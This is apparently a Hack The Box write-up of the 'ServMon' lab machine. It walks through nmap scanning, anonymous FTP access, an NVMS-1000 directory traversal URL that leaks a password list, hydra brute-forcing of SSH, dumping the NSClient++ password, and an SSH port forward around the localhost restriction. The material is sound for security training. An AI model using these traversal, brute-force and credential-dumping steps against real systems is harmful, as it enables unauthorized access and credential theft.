Reason: 65517 resets
PORT      STATE SERVICE       REASON          VERSION
21/tcp    open  ftp           syn-ack ttl 127 Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_01-18-20  12:05PM       <DIR>          Users
| ftp-syst: 
|_  SYST: Windows_NT
22/tcp    open  ssh           syn-ack ttl 127 OpenSSH for_Windows_7.7 (protocol 2.0)
| ssh-hostkey: 
|   2048 b9:89:04:ae:b6:26:07:3f:61:89:75:cf:10:29:28:83 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDnC92+BCplDo38VDQIZzb7V3HN/OucvxF0VMDDoYShdUrpDUW6JcSR/Zr6cADbHy7eDLw2O+WW+M4SzH7kfpbTv3HvJ0z8iOsRs2nUrUint4CR/A2vYA9SFOk18FU0QUS0sByBIlemU0uiPxN+iRCcpFhZDj+eiVRF7o/XxNbExnhU/2n9MXwFS8XTYNeGqSLE1vV6KdpMfpJj/yey8gvEpDQTX5OQK+kkUHze3LXLyu/XVTKzfqUBMAP+IQ5F6ICWgaC1a+cx/D7C/aobCbqaXY+75t1mxbEMmm1Wv/42nVQxcT7tN2C3sds4VJkYgZKcBhsE0XdJcR9mTb1wWsg9
|   256 71:4e:6c:c0:d3:6e:57:4f:06:b8:95:3d:c7:75:57:53 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBMToH2eB7rzpMZuvElpHYko/TXSsOfG8EXWQxmC/T4PCaAmVRDgJWEFMHgpRilSAKoOBlS2RHWNpMJldTFbWSVo=
|   256 15:38:bd:75:06:71:67:7a:01:17:9c:5c:ed:4c:de:0e (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILbqSRVLRJFVNhD0W0C5xB7b3RoJZZKdM+jSGryFWOQa
80/tcp    open  http          syn-ack ttl 127
| fingerprint-strings: 
|   GetRequest, HTTPOptions, RTSPRequest: 
|     HTTP/1.1 200 OK
|     Content-type: text/html
|     Content-Length: 340
|     Connection: close
|     AuthInfo: 
|     <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
|     <html xmlns="http://www.w3.org/1999/xhtml">
|     <head>
|     <title></title>
|     <script type="text/javascript">
|     window.location.href = "Pages/login.htm";
|     </script>
|     </head>
|     <body>
|     </body>
|     </html>
|   NULL: 
|     HTTP/1.1 408 Request Timeout
|     Content-type: text/html
|     Content-Length: 0
|     Connection: close
|_    AuthInfo:
|_http-favicon: Unknown favicon MD5: 3AEF8B29C4866F96A539730FAB53A88F
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Site doesn't have a title (text/html).
|_http-trane-info: Problem with XML parsing of /evox/about
135/tcp   open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds? syn-ack ttl 127
5040/tcp  open  unknown       syn-ack ttl 127
5666/tcp  open  tcpwrapped    syn-ack ttl 127
6063/tcp  open  tcpwrapped    syn-ack ttl 127
6699/tcp  open  tcpwrapped    syn-ack ttl 127
8443/tcp  open  ssl/https-alt syn-ack ttl 127
| fingerprint-strings: 
|   FourOhFourRequest, HTTPOptions, RTSPRequest, SIPOptions, apple-iphoto, docker, hazelcast-http: 
|     HTTP/1.1 404
|     Content-Length: 18
|     Document not found
|   GetRequest, OfficeScan: 
|     HTTP/1.1 302
|     Content-Length: 0
|     Location: /index.html
|     workers
|     jobs
|     submitted
|     errors
|     threads
|   metasploit-msgrpc: 
|     HTTP/1.1 403
|     Content-Length: 20
|_    Your not allowed
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
| http-title: NSClient++
|_Requested resource was /index.html
| ssl-cert: Subject: commonName=localhost
| Issuer: commonName=localhost
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2020-01-14T13:24:20
| Not valid after:  2021-01-13T13:24:20
| MD5:   1d03 0c40 5b7a 0f6d d8c8 78e3 cba7 38b4
| SHA-1: 7083 bd82 b4b0 f9c0 cc9c 5019 2f9f 9291 4694 8334
| -----BEGIN CERTIFICATE-----
| MIICoTCCAYmgAwIBAgIBADANBgkqhkiG9w0BAQUFADAUMRIwEAYDVQQDDAlsb2Nh
| bGhvc3QwHhcNMjAwMTE0MTMyNDIwWhcNMjEwMTEzMTMyNDIwWjAUMRIwEAYDVQQD
| DAlsb2NhbGhvc3QwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDXCoMi
| kUUWbCi0E1C/LfZFrm4UKCheesOFUAITOnrCvfkYmUR0o7v9wQ8yR5sQR8OIxfJN
| vOTE3C/YZjPE/XLFrLhBpb64X83rqzFRwX7bHVr+PZmHQR0qFRvrsWoQTKcjrElo
| R4WgF4AWkR8vQqsCADPuDGIsNb6PyXSru8/A/HJSt5ef8a3dcOCszlm2bP62qsa8
| XqumPHAKKwiu8k8N94qyXyVwOxbh1nPcATwede5z/KkpKBtpNfSFjrL+sLceQC5S
| wU8u06kPwgzrqTM4L8hyLbsgGcByOBeWLjPJOuR0L/a33yTL3lLFDx/RwGIln5s7
| BwX8AJUEl+6lRs1JAgMBAAEwDQYJKoZIhvcNAQEFBQADggEBAAjXGVBKBNUUVJ51
| b2f08SxINbWy4iDxomygRhT/auRNIypAT2muZ2//KBtUiUxaHZguCwUUzB/1jiED
| s/IDA6dWvImHWnOZGgIUsLo/242RsNgKUYYz8sxGeDKceh6F9RvyG3Sr0OyUrPHt
| sc2hPkgZ0jgf4igc6/3KLCffK5o85bLOQ4hCmJqI74aNenTMNnojk42NfBln2cvU
| vK13uXz0wU1PDgfyGrq8DL8A89zsmdW6QzBElnNKpqNdSj+5trHe7nYYM5m0rrAb
| H2nO4PdFbPGJpwRlH0BOm0kIY0az67VfOakdo1HiWXq5ZbhkRm27B2zO7/ZKfVIz
| XXrt6LA=
|_-----END CERTIFICATE-----
|_ssl-date: TLS randomness does not represent time
49664/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49665/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49666/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49667/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49668/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49669/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49670/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
2 services unrecognized despite returning data.
Aggressive OS guesses: Microsoft Windows Longhorn (95%), Microsoft Windows 10 1511 (93%), Microsoft Windows 10 1703 (93%), Microsoft Windows Server 2008 R2 (93%), Microsoft Windows Server 2008 SP2 (93%), Microsoft Windows 7 SP1 (93%), Microsoft Windows 8 (93%), Microsoft Windows 8.1 Update 1 (92%), Microsoft Windows Vista SP1 (92%), Microsoft Windows 7 Enterprise SP1 (92%)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=6/16%OT=21%CT=1%CU=38833%PV=Y%DS=2%DC=T%G=Y%TM=5EE959B
OS:C%P=x86_64-pc-linux-gnu)SEQ(SP=103%GCD=1%ISR=109%TI=I%CI=I%II=I%SS=S%TS=
OS:U)OPS(O1=M54DNW8NNS%O2=M54DNW8NNS%O3=M54DNW8%O4=M54DNW8NNS%O5=M54DNW8NNS
OS:%O6=M54DNNS)WIN(W1=FFFF%W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FF70)ECN(R=Y%
OS:DF=Y%T=80%W=FFFF%O=M54DNW8NNS%CC=N%Q=)T1(R=Y%DF=Y%T=80%S=O%A=S+%F=AS%RD=
OS:0%Q=)T2(R=Y%DF=Y%T=80%W=0%S=Z%A=S%F=AR%O=%RD=0%Q=)T3(R=Y%DF=Y%T=80%W=0%S
OS:=Z%A=O%F=AR%O=%RD=0%Q=)T4(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T5(R=
OS:Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=
OS:R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T
OS:=80%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=80%CD=
OS:Z)

Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=259 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 1m19s
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 50413/tcp): CLEAN (Couldn't connect)
|   Check 2 (port 20065/tcp): CLEAN (Couldn't connect)
|   Check 3 (port 62907/udp): CLEAN (Failed to receive data)
|   Check 4 (port 62863/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2020-06-16T23:47:04
|_  start_date: N/A

TRACEROUTE (using port 443/tcp)
HOP RTT      ADDRESS
1   38.97 ms 10.10.14.1
2   39.23 ms 10.10.10.184

Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Jun 16 18:46:04 2020 -- 1 IP address (1 host up) scanned in 2784.81 seconds

nmap scan observations

We see that the target is Windows, with an HTTP service open on port 80, FTP (which allows anonymous logon) and SSH on their standard ports, SMB open on 139 and 445, an appararnt ‘https-alt’ service on port 8443, and a variety of msrpc servicees.

FTP enumeration

We can quickly verify that FTP allows for anonymous logons, and can see a two potentially interesting files under two different subdirectories of users, as shown below.

initinfosec@kali:/0ps/HTB/servmon/scans$ ftp 10.10.10.184 21
Connected to 10.10.10.184.
220 Microsoft FTP Service
Name (10.10.10.184:initinfosec): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> dir
200 PORT command successful.
125 Data connection already open; Transfer starting.
01-18-20  12:05PM       <DIR>          Users
226 Transfer complete.
ftp> cd Users
250 CWD command successful.
ftp> dir
200 PORT command successful.
125 Data connection already open; Transfer starting.
01-18-20  12:06PM       <DIR>          Nadine
01-18-20  12:08PM       <DIR>          Nathan
226 Transfer complete.
ftp> dir Nadine
200 PORT command successful.
125 Data connection already open; Transfer starting.
01-18-20  12:08PM                  174 Confidential.txt
226 Transfer complete.
ftp> dir Nathan
200 PORT command successful.
125 Data connection already open; Transfer starting.
01-18-20  12:10PM                  186 Notes to do.txt
226 Transfer complete.

Let’s go ahead and transfer both text files to our loot directory and view them:

ftp> get Nadine/Confidential.txt confidential.txt
local: confidential.txt remote: Nadine/Confidential.txt
200 PORT command successful.
125 Data connection already open; Transfer starting.
226 Transfer complete.
174 bytes received in 0.04 secs (4.1331 kB/s)
ftp> get "Nathan/Notes to do.txt" notes_to_do.txt
local: notes_to_do.txt remote: Nathan/Notes to do.txt
200 PORT command successful.
125 Data connection already open; Transfer starting.
226 Transfer complete.
186 bytes received in 0.04 secs (4.3099 kB/s)
ftp> bye
221 Goodbye.

initinfosec@kali:/0ps/HTB/servmon/loot$ cat confidential.txt && echo "" && cat notes_to_do.txt && echo ""
Nathan,

I left your Passwords.txt file on your Desktop.  Please remove this once you have edited it yourself and place it back into the secure folder.

Regards

Nadine
1) Change the password for NVMS - Complete
2) Lock down the NSClient Access - Complete
3) Upload the passwords
4) Remove public access to NVMS
5) Place the secret files in SharePoint

Great, so we know there may be a Passwords.txt file on Nathan’s desktop folder with sensitive information, or it may have been updated and moved to an allegedly ‘secure location.’

There’s also note about uploading passwords and locking down NVMS, which don’t appear to be done yet, as well as placing the secret files in Sharepoint. Perhaps that was the ‘secret location’ mentioned earlier. There was also mention of the NVMS password being updated, which is already marked done. So it may be a fair assumption that a default password for the service may not work, if there is one.

SMB Enumeration

A more intensive/loud nmap NSE scan targeted at trying to identify SMB vulnerabilites on these ports on the target, but it also yields nothing of obvious use, as shown by the output below:

initinfosec@kali:/0ps/HTB/servmon/scans$ sudo nmap -vv --reason -Pn -sV -p 139,445 --script=smb-vuln* --script-args="unsafe=1" 10.10.10.184
Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-16 23:04 CDT
NSE: Loaded 56 scripts for scanning.
Scanning 10.10.10.184 [2 ports]
Discovered open port 139/tcp on 10.10.10.184
Discovered open port 445/tcp on 10.10.10.184
Completed SYN Stealth Scan at 23:04, 0.09s elapsed (2 total ports)
Initiating Service scan at 23:04
Scanning 2 services on 10.10.10.184
Completed Service scan at 23:04, 8.78s elapsed (2 services on 1 host)
NSE: Script scanning 10.10.10.184.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 23:04
Completed NSE at 23:05, 13.45s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 23:05
Completed NSE at 23:05, 0.10s elapsed
Nmap scan report for 10.10.10.184
Host is up, received user-set (0.044s latency).
Scanned at 2020-06-16 23:04:39 CDT for 23s

PORT    STATE SERVICE       REASON          VERSION
139/tcp open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn
445/tcp open  microsoft-ds? syn-ack ttl 127
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_smb-vuln-ms10-054: ERROR: Script execution failed (use -d to debug)
|_smb-vuln-ms10-061: Could not negotiate a connection:SMB: Failed to receive bytes: ERROR

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 23:05
Completed NSE at 23:05, 0.00s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 23:05
Completed NSE at 23:05, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.23 seconds
           Raw packets sent: 2 (88B) | Rcvd: 2 (88B)

HTTP enumeration

A quick visit to the main page of 10.10.10.184 in a browser seems to confirm what NVMS is, showing a portal stating “NVMS-1000” as shown below:

This appears to be some centralized storage for surviellance video suggested by this link which also seems to indicate that usernames and passwords are self-defined upon setup.

A quick search on EDB seems to show that NVMS-1000 may be vulnerable to directory traversal:

initinfosec@kali:/0ps/HTB/servmon/exploit$ searchsploit nvms 1000
------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
 Exploit Title                                                                                                                |  Path
------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
NVMS 1000 - Directory Traversal                                                                                               | hardware/webapps/47774.txt
TVT NVMS 1000 - Directory Traversal                                                                                           | hardware/webapps/48311.py
------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
Shellcodes: No Results
initinfosec@kali:/0ps/HTB/servmon/exploit$

Both vulnerability entries seem to suggest the same method for traversal, but it’s not yet clear if the traversal requires authentication. The fact that neither exploit mentions it though may hint that exploitation for this vulnerabilty does not require auth.

Let’s go ahead and download the python version of the exploit and see if we can retreive the passwords.txt file from Nathan’s desktop.

initinfosec@kali:/0ps/HTB/servmon/exploit$ searchsploit -m 48311

Running the command then gives us usage info:

initinfosec@kali:/0ps/HTB/servmon/exploit$ python 48311.py 
  
Usage : python exploit.py url filename outputname
Example : python exploit.py http://10.10.10.10/ windows/win.ini win.ini

If you happen to get the following non-ASCII character error, change the last name on line 7 to have a standard “u” instead of the U umlaut.

  File "48311.py", line 7
SyntaxError: Non-ASCII character '\xc3' in file 48311.py on line 7, but no encoding declared; see http://python.org/dev/peps/pep-0263/ for details

When running the script however, we get a result that the server is not vulnerable to path traversal. So perhaps this exploit is not applicable, or does indeed require authentication:

initinfosec@kali:/0ps/HTB/servmon/exploit$ python 48311.py http://10.10.10.184/ users/desktop/nathan/Passwords.txt passwords.txt
Host not vulnerable to Directory Traversal!

It seems that the page may be redirecting any URL appended to the main address unless authentication is provided, however, as is evidenced by a failed gobuster scan, as well as hinted at in a nikto scan of the host, with the results shown below:

initinfosec@kali:/0ps/HTB/servmon/scans$ cat tcp_80_http_nikto.txt 
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          10.10.10.184
+ Target Hostname:    10.10.10.184
+ Target Port:        80
+ Start Time:         2020-06-16 18:07:32 (GMT-5)
---------------------------------------------------------------------------
+ Server: No banner retrieved
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ Uncommon header 'authinfo' found, with contents: 
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ OSVDB-18114: /reports/rwservlet?server=repserv+report=/tmp/hacker.rdf+destype=cache+desformat=PDF:  Oracle Reports rwservlet report Variable Arbitrary Report Executable Execution
+ 7865 requests: 0 error(s) and 6 item(s) reported on remote host
+ End Time:           2020-06-16 18:28:15 (GMT-5) (1243 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

However, we notice if we URL encode the ../’s found in the exploit and manually search for the passwords.txt file, that the directory traversal vulnerabilty does indeed exist and is trivially exploitable.

Going to http://10.10.10.184/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fusers/Nathan/Desktop/Passwords.txt shows the following:

1nsp3ctTh3Way2Mars!
Th3r34r3To0M4nyTrait0r5!
B3WithM30r4ga1n5tMe
L1k3B1gBut7s@W0rk
0nly7h3y0unGWi11F0l10w
IfH3s4b0Utg0t0H1sH0me
Gr4etN3w5w17hMySk1Pa5$

HTTPS Enumeration

Visiting the index/main page of the HTTPS service on port 8443 shows the following after accepting the certification warning, labeled as NSClient++

A quick google search for the default login for NSClient seems to indicate a password may not be initially set however this doesn’t seem to work when trying it.

I’m not familiar with the web application, software, but a quick google search seems to show that it is a free open-source software (FOSS) acting as a monitoring agent. This would make sense why the hostname is ServMon, in this case.

Trying each of the passwords found from the path traversal exploit against port 80 for the admin sign in doesn’t seem to yield a successful login. However, it’s not entirely clear if the password is incorrect or if the service just does not allow external logons, as we recall that the second item in the To-Do list mentioned that locking down NSClient Access was done.

gaining an initial foothold

So let’s try to figure out what the found passwords belong to. We know that we have FTP, SSH, and SMB which require auth. We’ll start by creating two files, once containing likely usernames, one containing the passwords found from the path traversal vulnerability. Then we can use hydra to attempt to try these combinations on the aforementioned services. We can quickly create these lists, which are shown below:

initinfosec@kali:/0ps/HTB/servmon/scans$ cat users.list
Nathan
nathan
Nadine
nadine
admin
servmon

initinfosec@kali:/0ps/HTB/servmon/scans$ cat passwords.list
1nsp3ctTh3Way2Mars!
Th3r34r3To0M4nyTrait0r5!
B3WithM30r4ga1n5tMe
L1k3B1gBut7s@W0rk
0nly7h3y0unGWi11F0l10w
IfH3s4b0Utg0t0H1sH0me
Gr4etN3w5w17hMySk1Pa5$

First we can try attempting a login on FTP with hydra, using the following command:

initinfosec@kali:/0ps/HTB/servmon/scans$ hydra -L users.list -P passwords.list -e nsr -s 21 -o "/0ps/HTB/servmon/scans/tcp_21_ftp_hydra.txt" ftp://10.10.10.184

However, it appears this was unsuccessful and found no FTP logins from the list.

Next we run a similar hydra command using the lists to test against SSH:

initinfosec@kali:/0ps/HTB/servmon/scans$ hydra -L users.list -P passwords.list -e nsr -s 22 -o "/0ps/HTB/servmon/scans/tcp_22_ssh_hydra.txt" ssh://10.10.10.184
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-06-17 12:08:24
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 60 login tries (l:6/p:10), ~4 tries per task
[DATA] attacking ssh://10.10.10.184:22/
[22][ssh] host: 10.10.10.184   login: Nadine   password: L1k3B1gBut7s@W0rk
[22][ssh] host: 10.10.10.184   login: nadine   password: L1k3B1gBut7s@W0rk
1 of 1 target successfully completed, 2 valid passwords found
[WARNING] Writing restore file because 2 final worker threads did not complete until end.
[ERROR] 2 targets did not resolve or could not be connected
[ERROR] 0 targets did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-06-17 12:08:38

This does indeed seem to be successful, providing a probable login for nadine over SSH. Using the credentials validates the scanner findings, providing us an initial foothold on the target ‘ServMon’ as ‘nadine’ as shown in the below screenshot. From here we can grab the user.txt file from Nadine’s desktop

Privilege Escalation

PrivEsc enumeration

Now we need to figure out how to escalate privileges from Nadine to NT_AUTHORITY_SYSTEM. A quick looking in the users folder shows Public, Nathan, and Admintrator listed alongside Nadine, with access denied to each of these folders. Going to the root of the C: drive, we see a folder called ‘Shared’ which seems to be the ftproot.

Running a whoami /all commmand, we can gather further information about our current user:

nadine@SERVMON c:\Program Files>whoami /all

USER INFORMATION
----------------

User Name      SID
============== =============================================
servmon\nadine S-1-5-21-3877449121-2587550681-992675040-1002


GROUP INFORMATION
-----------------

Group Name                             Type             SID          Attributes
====================================== ================ ============ ==================================================
Everyone                               Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                          Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK                   Well-known group S-1-5-2      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users       Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization         Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account             Well-known group S-1-5-113    Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication       Well-known group S-1-5-64-10  Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label            S-1-16-8192


PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                          State
============================= ==================================== =======
SeShutdownPrivilege           Shut down the system                 Enabled
SeChangeNotifyPrivilege       Bypass traverse checking             Enabled
SeUndockPrivilege             Remove computer from docking station Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set       Enabled
SeTimeZonePrivilege           Change the time zone                 Enabled

Looking around in the root directory and a few other folders underneath, nothing sticks out as an obvious sharepoint folder (hinted at in the to-do list) where we might find addiitonal credentials or useful information. There does seem to be an interesting directory called RecData containing a SQLite database, shown below. The DB table doesn’t seem to contain creds but mentions alerts. If I were to take an educated guess, this is likely footage storage for the NVMS-1000 platform as it seems to deail with security/surviellance footage.

nadine@SERVMON c:\RecData>dir
 Volume in drive C has no label.
 Volume Serial Number is 728C-D22C

 Directory of c:\RecData

17/06/2020  18:31    <DIR>          .
17/06/2020  18:31    <DIR>          ..
18/01/2020  11:00             8,192 RecordInfoDB.db3
18/01/2020  11:00                 0 RecordInfoDB.db3-journal
17/06/2020  18:31           229,888 winpeas.exe
               3 File(s)        238,080 bytes
               2 Dir(s)  27,848,257,536 bytes free

nadine@SERVMON c:\RecData>type RecordInfoDB.db3
SQLite format 3   @                                                                    -Ô#   ¹   ¹
AU/ indexsqlite_autoindex_C_RECORD_LOG_INFO_1C_RECORD_LOG_INFOé#--âytableC_ALARM_REC_INFOC_ALARM_REC_INFOCREATE TABLE C_ALARM_REC_INFO (
         CHANNEL_ID CHAR(64) NOT NULL,                                           ALARM_TYPE INTEGER,                                             START_TIME INTEGER,
                         END_TIME   INTEGER,                                             CONSTRAINT [C_ALARM_REC_INFO_PrimaryKey] PRIMARY KEY (CHANNEL_ID, ALARM_TYPE, START_
TIME))?S- indexsqlite_autoindex_C_ALARM_REC_INFO_1C_ALARM_REC_INFO   é?++ä5tableC_REC_FILE_INFOC_REC_FILE_INFOCREATE TABLE C_REC_FILE_INFO (
         FILE_INDEX   INTEGER,                                           FILE_STATUS  INTEGER,                                           HAS_BADTRACK INTEGER,
                 START_TIME   INTEGER,                                           END_TIME     INTEGER,                                           USED_TIMES   INTEGER,


   ÿ ÿ┌y
AU/ indexsqlite_autoindex_C_RECORD_LOG_INFO_1C_RECORD_LOG_INFOé#--âytableC_ALARM_REC_INFOC_ALARM_REC_INFOCREATE TABLE C_ALARM_é?++ä5tableC_REC_FILE_INFOC_REC_FIL
E_INFOCREATE TABLE C_REC_FILE_INFO (                                            FILE_INDEX   INTEGER,                                           FILE_STATUS  INTEGER,
                         HAS_BADTRACK INTEGER,                                           START_TIME   INTEGER,                                           END_TIME     INTEGER
,                                                USED_TIMES   INTEGER,                                           CONSTRAINT [C_REC_FILE_INFO_PrimaryKey] PRIMARY KEY (FILE_IN
DEX))é#--âytableC_ALARM_REC_INFOC_ALARM_REC_INFOCREATE TABLE C_ALARM_REC_INFO (                                              CHANNEL_ID CHAR(64) NOT NULL,
                 ALARM_TYPE INTEGER,                                             START_TIME INTEGER,                                             END_TIME   INTEGER,
   y y║¢
?S- indexsqlite_autoindex_C_ALARM_REC_INFO_1C_ALARM_REC_INFOé //â/tableC_RECORD_LOG_INFOC_RECORD_LOG_INFOCREATE TABLE C_RECORD_LOG_INFO (
         CHANNEL_ID CHAR(64) NOT NULL,                                           START_TIME INTEGER,                                             END_TIME   INTEGER,
                         CONSTRAINT [C_RECORD_LOG_INFO_PrimaryKey] PRIMARY KEY (CHANNEL_ID, START_TIME))AU/ indexsqlite_autoindex_C_RECORD_LOG_INFO_1C_RECORD_LOG_INFO

Another thing we can check is if we can authenticate to SMB using nadine’s crednetials, since we know they are valid now. Going to smb://10.10.10.184/ in the filebrowser and logging in with the same credentials found for SSH is successful, showing both a C$ folder and an ADMIN$ folder. However, the authentication does not work seemingly, when trying to go into either of these directories. This is further confirmed that nadine does not had read access to either share by running the following smbmap command providing nadine’s crednetials:

initinfosec@kali:/0ps/HTB/servmon/scans$ sudo smbmap -H 10.10.10.184 -u nadine -p 'L1k3B1gBut7s@W0rk'
[+] IP: 10.10.10.184:445        Name: 10.10.10.184
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        C$                                                      NO ACCESS       Default share
        IPC$                                                    READ ONLY       Remote IPC

Going back to test the NSClient login, it appears Nadine’s credentials do not work. However, when clicking the ‘Forgot Password’ link, there’s an option to run a command to either show the current password, or reset it, as shown below.

Going to the NSClient++ directory in Program Files, we run the command given, which does indeed show the current password, as shown below:

nadine@SERVMON c:\Program Files\NSClient++>nscp web -- password --display
Current password: ew2x6SsGTxjRwXOT

However, entering this still gives a 403 error. It’s likely that external hosts/IPs are not allowed, as locking down the NSClient Access was marked as ‘done’ on the to-do list found at the begninning.

Since we know valid creds for the target and the port is above 1024, let’s use SSH to forward traffic from our attacker IP on port 8443 to the server on port 8443 appearing as localhost, in order to see if we can have the server see the authentication as coming from localhost, and potentially allow us to authenticate. In order to perform this, we’ll run a remote port forward from the target foothold as nadine, but provide our VPN IP as the argument to authenticate against.

In a new terminal, ensure that SSH server is running locally on the attacker machine with sudo service ssh start. Once done, we’ll login as nadine again in this new shell (in case we need the other one for later). Once authenticated as nadine, we’ll run the remote port forward argument, telling SSH to forward anything that comes from our VPN IP (provided as the auth arguement at the end) over to localhost on port 8443. So all said and done, the syntax should look something like what is shown below. Note that due to SSH settings in kali, localhost is forwarded with the given argument, meaning that you will have to browse to the URL as https://localhost:8443, as shown by the listening ports in the netstat command at the end of the code block below. Note that this still forwards the traffice properly to the target.

initinfosec@kali:/0ps/HTB/servmon/exploit$ ssh nadine@10.10.10.184
nadine@10.10.10.184's password:
Permission denied, please try again.
nadine@10.10.10.184's password:
Microsoft Windows [Version 10.0.18363.752]
(c) 2019 Microsoft Corporation. All rights reserved.

nadine@SERVMON C:\Users\Nadine>ssh -R :8443:localhost:8443 initinfosec@10.10.14.35
The authenticity of host '10.10.14.35 (10.10.14.35)' can't be established.
ECDSA key fingerprint is SHA256:rBBINlDaQ4Lwgo/amxsi1wRcVXDwC5r+zOsMX+FiCaM.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '10.10.14.35' (ECDSA) to the list of known hosts.
initinfosec@10.10.14.35's password:
Linux kali 5.6.0-kali2-amd64 #1 SMP Debian 5.6.14-1kali1 (2020-05-25) x86_64

initinfosec@kali:~$ sudo netstat -tulpn | grep 8443
tcp        0      0 127.0.0.1:8443          0.0.0.0:*               LISTEN      11223/sshd: initinf
tcp6       0      0 ::1:8443                :::*                    LISTEN      11223/sshd: initinf

[A local forward may be possible with the right syntax, but in order to achieve the desired traffic flow, remote as shown above made the most sense to me.]

Entering the provided credentials in the login box on the server after forwarding the port allows for successful authentication now, as shown in the below screenshot depicting the NSClient page after login.

gaining system

Now that we have successful authentication to NSClient, let’s take a look at exploits potentially avialable for NSClient. Using searchsploit to check EDB, we quickly find two promising candidates that both seem to perform command execution:

initinfosec@kali:/0ps/HTB/servmon/exploit$ searchsploit nsclient
------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                                             |  Path
------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
NSClient++ 0.5.2.35 - Authenticated Remote Code Execution                                                                                  | json/webapps/48360.txt
NSClient++ 0.5.2.35 - Privilege Escalation                                                                                                 | windows/local/46802.txt
------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

